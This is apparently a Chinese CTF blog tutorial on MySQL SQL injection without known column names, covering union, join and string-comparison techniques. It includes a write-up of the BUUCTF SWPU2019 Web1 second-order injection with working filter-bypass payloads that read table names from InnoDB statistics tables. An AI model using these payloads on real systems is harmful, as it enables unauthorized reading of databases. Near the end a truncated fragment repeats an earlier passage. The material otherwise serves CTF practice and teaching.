SQL無列名注入
? 前段時間,隊里某位大佬發了一個關于sql注入無列名的文章,感覺好像很有用,特地研究下。
關于 information_schema 數據庫:
? 對于這一個庫,我所知曉的內容并不多,并且之前總結SQL注入的時候忘記說這個數據庫了,在這里補充一下,簡單點兒來說,就是這個數據庫中的某些表存放著數據庫的一些信息,例如,我電腦中所有的數據庫中存在如下的幾個數據庫:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sakila |
| sys |
| test |
| world |
+--------------------+
7 rows in set (0.00 sec)
? 那么我們通過查 information_schema 中的 SCHEMATA 表中的 SCHEMA_NAME 字段可以得到所有數據庫的庫名:
mysql> use information_schema;
Database changed
mysql> select SCHEMA_NAME from SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| sys |
| sakila |
| world |
| test |
+--------------------+
7 rows in set (0.00 sec)
? 同時,tables這個表中存在很多關于表的內容的字段,例如:
? table_schema,這個字段用于存放某張表屬于哪一個數據庫的字段。
? table_name, 這個字段用于存放所有的表的名字
? 如果想要查到某個數據庫中的所有表名,則需要查詢table_name這個字段,然后用where來限制table_schema查找對應的數據庫:
mysql> select table_name from TABLES where table_schema='test';
+------------+
| TABLE_NAME |
+------------+
| questions |
+------------+
1 row in set (0.00 sec)
? 另外,information_schema 庫中還有一張columns表,這里面存的是所有字段的信息,columns表中存在table_name , table_schema , column_name 對于table_schema,這里面則是所有字段所在表的名字,而table_schema 則是存放了所有字段的表所在的數據庫的名字,另外,column_name 則是存放了所有的字段的名字,因此,想要查詢到某個數據庫中所有字段的名字,或者某張表的所有的字段的名字則可以用如下的命令查找:
mysql> select column_name from columns where table_schema='test'; #查詢某個庫里面所有的字段的名字
+-------------+
| COLUMN_NAME |
+-------------+
| answer |
| id |
| quest |
+-------------+
3 rows in set (0.00 sec)mysql> select column_name from columns where table_name='questions'; #查詢某張表中所有字段的內容(由于這個庫中只有一張表,所以結果一樣)
+-------------+
| COLUMN_NAME |
+-------------+
| answer |
| id |
| quest |
+-------------+
3 rows in set (0.00 sec)
關于InnoDb引擎:
? 我不知道這個具體是個什么東西,有什么用,但是還是記錄一下,有條件再拿來研究看看。
? 從MYSQL5.5.8開始,InnoDB成為其默認存儲引擎。而在MYSQL5.6以上的版本中,mysql數據庫中inndb增加了innodb_index_stats和innodb_table_stats兩張表,這兩張表中都存儲了數據庫和其數據表的信息,但是沒有存儲列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats
? 依舊拿上面的那張表作為延時,也就是test庫里面的questions這張表。
? 再mysql這個數據庫種存在兩張表,里面分別存放了一些內容,例如,innodb_table_stats這個表,存放的是所有的表名,也就是database_name還有table_name這兩張表,但是沒有存放列名,因此,這里可以試著訪問下:
mysql> select * from innodb_table_stats where database_name='ctfer';
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| ctfer | users | 2024-03-02 16:37:10 | 0 | 1 | 0 |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
1 row in set (0.00 sec)
? 再然后就是mysql數據庫中的innodb_index_stats表,里面我總結不出來具體是什么信息,但是里面存放有所有數據庫中的所有表的信息,也就是database_name還有table_name這兩張表,不過,還是沒有存放字段的信息,這里可以試著訪問下:
mysql> select * from innodb_index_stats where database_name='ctfer';
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | table_name | index_name | last_update | stat_name | stat_value | sample_size | stat_description |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_diff_pfx01 | 0 | 1 | DB_ROW_ID |
| ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_leaf_pages | 1 | NULL | Number of leaf pages in the index |
| ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | size | 1 | NULL | Number of pages in the index |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
3 rows in set (0.00 sec)
關于sys數據庫:
? 在5.7以上的MYSQL中,新增了sys數據庫,該庫的基礎數據來自information_schema和performance_chema,其本身不存儲數據。可以通過其中的schema_auto_increment_columns來獲取表名。其用法是sys.schema_auto_increment_columns
? 在sys數據庫種,存在一個schema_auto_increment_columns表,里面存在幾個字段,用于存放數據庫名和表名以及字段名,有table_schema以及table_name還有column_name,但是,不知道為啥,我這里查詢到的內容并不完全,少了很多內容,不過還是先仍在這兒吧
mysql> select * from schema_auto_increment_columns;
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| table_schema | table_name | column_name | data_type | column_type | is_signed | is_unsigned | max_value | auto_increment | auto_increment_ratio |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| sakila | payment | payment_id | smallint | smallint unsigned | 0 | 1 | 65535 | 16049 | 0.2449 |
| sakila | category | category_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 16 | 0.0627 |
| sakila | language | language_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 6 | 0.0235 |
| sakila | film | film_id | smallint | smallint unsigned | 0 | 1 | 65535 | 1000 | 0.0153 |
| sakila | address | address_id | smallint | smallint unsigned | 0 | 1 | 65535 | 605 | 0.0092 |
| sakila | city | city_id | smallint | smallint unsigned | 0 | 1 | 65535 | 600 | 0.0092 |
| sakila | customer | customer_id | smallint | smallint unsigned | 0 | 1 | 65535 | 599 | 0.0091 |
| sakila | staff | staff_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 2 | 0.0078 |
| sakila | store | store_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 2 | 0.0078 |
| sakila | actor | actor_id | smallint | smallint unsigned | 0 | 1 | 65535 | 200 | 0.0031 |
| sakila | country | country_id | smallint | smallint unsigned | 0 | 1 | 65535 | 109 | 0.0017 |
| sakila | inventory | inventory_id | mediumint | mediumint unsigned | 0 | 1 | 16777215 | 4581 | 0.0003 |
| sakila | rental | rental_id | int | int | 1 | 0 | 2147483647 | 16049 | 0.0000 |
| world | city | ID | int | int | 1 | 0 | 2147483647 | 4079 | 0.0000 |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
14 rows in set (0.01 sec)
無列名注入–union:
原理:
? 例如,對于如下的一個表:
mysql> select * from users;
+----------+-----------+-----------------------------------+
| username | password | flag |
+----------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)
? 如果我們想要進行查詢,那么則需要表明,甚至是庫名,不過,可以通過table_schema=database()來指定庫名,因此,想要查詢內容,則表名似乎成為了必須的內容,但是,在進行sql注入的時候,有的時候會對information進行過濾,因此,則無法做題,那么,這里則需要利用union的方式進行無列名的注入。
? 如果我們想要查詢到這個flag的話,那么我們或許可以考慮將字段修改為我們能夠查詢到的字段,比如,1、2、3,所以,使用如下命令做個嘗試:
mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)mysql> select 1,2,3 union select * from users;
+--------+-----------+-----------------------------------+
| 1 | 2 | 3 |
+--------+-----------+-----------------------------------+
| 1 | 2 | 3 |
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+--------+-----------+-----------------------------------+
2 rows in set (0.00 sec)
? 可以知道的是,這里通過兩次查詢,第一次查詢了1,2,3三個字段,第二次查詢了users表中的所有字段,然后將users表中的所有字段聯合在第一次查詢到的字段中輸出出來,根據這種情況,下面則有兩種方式查詢到flag的值:
mysql> select `3` from (select 1,2,3 union select * from users)a; #聯合了1,2,3之后,如果用數字查詢的話需要用反引號來表示引用,而不是一個值
+-----------------------------------+
| 3 |
+-----------------------------------+
| 3 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)mysql> select b from (select 1,2,3 as b union select * from users)a; #這里通過3 as b 的方式給字段3重命名為b,然后再進行插敘
+-----------------------------------+
| b |
+-----------------------------------+
| 3 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)
注:這里不知道為何需要在括號外面隨意寫一些字符,如果有知道的話請幫忙講解一下。
題目案例–BUUCTF----[SWPU2019]Web1:
? 剛拿到這道題的時候,我是一點兒思路都沒有,全稱黑人問號,即使這道這道題的考點是sql注入也是一樣的,完全找不到下手的點。
? 最開始,一個登陸框一度讓我認為是sql注入的萬能密碼,結果不是,弱密碼?猜了幾個也沒才出來,因此,可以排除是弱密碼以及萬能密碼了,跟著dalao們的wp做,發現這里可以直接注冊一個非admin的賬號,好吧,我人傻了,那就隨便注冊一下,賬號qwe,密碼123456,登錄。
? 登錄之后是這樣的一個內容:
? 這里,似乎能點的超鏈接只有一個申請發布廣告,下面那一個點了之后似乎就退出登錄了,顯然是錯的,所以點一下申請發布廣告:
? 出現了這樣的一個頁面,那么,這個又代表了什么呢?如果不是明確地指出這道題是sql注入的話,我可能還是會無腦認為這個題目是一道XSS的漏洞,那么,這個到底是個啥?
? 看了下dalao們的wp,說的是這是一道二次注入,是一道我沒有遇到過的漏洞。
什么是二次注入:
? 二次注入就是指以儲存(數據庫、文件)的用戶輸入被讀取后再次進入到SQL查詢語句中導致注入。
二次注入的原理:
? 首先,對于某些字符,在進行數據庫插入數據時,對其中的某些特殊字符進行了轉義處理,比如 1’變成了1\’ 在寫入數據庫的時候保留了原來的數據,也就是 1’。然后,開發者又默認了存入數據庫中的數據都是安全的,因此,在進行查詢時,直接從數據庫中取出而已樹據,并沒有進行進一步的檢驗的處理,在下一次的使用中拼湊在一起,就形成了二次注入。
繼續做題:
? 既然這道題是個二次注入的題目,那么就應該考慮,使用sql注入的方式了。首先構造語句,判斷注入類型以及想辦法清楚到底過濾了那些關鍵字,首先構造sql語句,之后申請,然后廣告詳情:
1'
? 得到了
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ limit 0,1’ at line 1
? 的一個回顯,通過報錯信息,或許是一個字符型注入,緊接著,判斷過濾,經過多次嘗試,發現過濾了的有:
or , # , 空格 , order by ,information_schema
? 對于空格而言,則可以使用/**/來繞過,order by則可以使用group by ,#則可以使用,'3來閉合后面的引號來繞過,另外,information_schema 則可以使用最開始說到的無列名注入的相關的知識了,通過InnoDb引擎查表名,第一個payload為:
1'/**/group/**/by/**/22,'3
? 首先,構造的group by后面的整數位22的時候,沒有出現錯誤,但是,當整數為23的時候,卻出現了報錯:
? 大致可以推測出,字段總的有22個。
? 那么,知道了總的有多少個字段之后,就可以試著獲得數據庫名和表名了,構造的payload分別為:
? 首先通過構造如下payload獲取回顯點,最后發現,回顯點是2,3
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
? 獲得數據庫名,成功拿到數據庫為web1:
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
? 獲得表名:
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
? 最后確定,web1這個數據庫中存在的表為如下:
? 根據dalao們的wp,他們使用的都是users這個表,因此,這里就不用一個表一個表地查了,直接users這個表梭哈:
1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
? 該payload是利用了上面說到的無列名地union方法進行的,當然,為啥確定users表中存在3個字段呢?因為經過試錯,發現一個字段,兩個字段以及四個以上的時候,均是報錯,所以,可以利用這一點,進行查詢,然后通過
? 然后通過修改as b 所在的地方,比如1的后方或者2的后方對列進行查找,最后發現在第三列查到了flag:
? 完成啦 (p≧w≦q) 。
無列名注入–join:
? 當然,由于union在的地位太過重要,因此有的時候可能會直接對union進行過濾,這個時候呢,就需要用到join來進行注入。
在那之前,先講一下相關的前置知識,雖然我也不懂這些,不過還是先記錄一下:
- join 連接兩張表
- using() 用于兩張表之間的 join 連接查詢,并且 using()中的列在兩張表中都存在,作為 join 的條件
? 首先,還是之前的那一個ctfer的數據庫,下面通過這個數據庫做幾個實驗:
mysql> select * from users as a join users as b;
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| username | password | flag | username | password | flag |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)
? 可以發現,查詢的兩次同一個表,被拼接成了一個,那么,這個有什么用呢?試試在這之前加上一個查詢,看看查詢這拼接到一起的這個表:
mysql> select * from (select * from users as a join users as b)a;
ERROR 1060 (42S21): Duplicate column name 'username'
? 這里發現,報錯了,并且還是字段名重復的錯誤,注:括號外面必須得加上任意字母,否則會報ERROR 1248 (42000): Every derived table must have its own alias的錯誤,因此,則可以使用這種方式獲得所有的列名,不過前提還是得用InnoDb引擎來獲取數據庫名以及表名。
? 根據上面的那個可以知道的是,其中一個字段的名字,但是,flag或許并不在這個字段里,那么,就需要想點辦法獲得下一個字段的名字了,不過,在那之前,得先排除掉已經知道的字段名的干擾,可以使用如下方法:
mysql> select * from users as a join users as b using(username);
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| username | password | flag | password | flag |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
1 row in set (0.00 sec)
? 看看上面的內容,發現在增加了一個**using(username)**之后,username這個字段似乎奇跡般地沒了,不過這里我不是很清楚原理是什么,不過,暫時能用就行,記錄一下,以后有機會學到了這里再進行補充。那么,到了這個時候,重復的字段就只有password和flag了,于是,再用如下的語句進行查詢看看:
mysql> select * from (select * from users as a join users as b using(username))a;
ERROR 1060 (42S21): Duplicate column name 'password'
? 成功查詢到了password這個字段名,緊接著,將password加入using()函數中,如下,即可拿到flag字段的字段名:
mysql> select * from (select * from users as a join users as b using(username,password))a;
ERROR 1060 (42S21): Duplicate column name 'flag'
? 最后一步,如果將flag再填進using()函數中呢?會出現如下情況:
mysql> select * from (select * from users as a join users as b using(username,password,flag))a;
+----------+-----------+-----------------------------------+
| username | password | flag |
+----------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)
? 內容被成功查詢出來了,之后再怎么辦就得根據題目的實際情況決定了,成功了!!! (p≧w≦q)
無列名注入–ascii位偏移:
? 這個方法,是有點類似于sql盲注的爆破的,利用的是字符串進行比較是按位置進行比較,從最開始的那個開始,一位一位地比較,因此,當得到數據庫名以及表名之后,則可以進行如下操作:
? 不過這種方法有個前提,就是需要表內只有一個字段,不然只能獲取到第一個字段的字段名。
mysql> select username from users;
+----------+
| username |
+----------+
| xiaomi |
+----------+
1 row in set (0.00 sec)
? 首先可以知道的是,username中的內容是xiaomi,因此,用如下方式可以進行比對:
mysql> select (select 'x')>(select username from users);
+-------------------------------------------+
| (select 'x')>(select username from users) |
+-------------------------------------------+
| 0 |
+-------------------------------------------+
1 row in set (0.00 sec)mysql> select (select 'y')>(select username from users);
+-------------------------------------------+
| (select 'y')>(select username from users) |
+-------------------------------------------+
| 1 |
+-------------------------------------------+
1 row in set (0.00 sec)
? 因為我這里存在三個字段,所以這里只有指定一下某個表進行查詢。顯而易見,在第一行中,我們用x進行對比,返回結果為0,對比y的時候返回結果為1,也就是說,這個字段的內容的第一位為x,接下來進行后續的對比:
mysql> select (select 'xi')>(select username from users);
+--------------------------------------------+
| (select 'xi')>(select username from users) |
+--------------------------------------------+
| 0 |
+--------------------------------------------+
1 row in set (0.00 sec)mysql> select (select 'xj')>(select username from users);
+--------------------------------------------+
| (select 'xj')>(select username from users) |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)
? 后續的查詢操作也就很明顯了,當然,這里如果合適的話其實可以利用python寫個爬蟲來進行查詢的:
mysql> select (select 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)
? 當然,如果查詢到最后一個,在這里也就是xiaomi 的第二個i的之后,如果再對后面進行對比的時候無論如何也是1,這里我做一個猜測,應該是因為字符串的結尾是以\x00結尾,因此,每一個可顯示字符都要比這個字符大。
ect 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)
? 當然,如果查詢到最后一個,在這里也就是xiaomi 的第二個i的之后,如果再對后面進行對比的時候無論如何也是1,這里我做一個猜測,應該是因為字符串的結尾是以\x00結尾,因此,每一個可顯示字符都要比這個字符大。
? 好了,ascii位偏移的無列名注入也說完了!!! (p≧w≦q)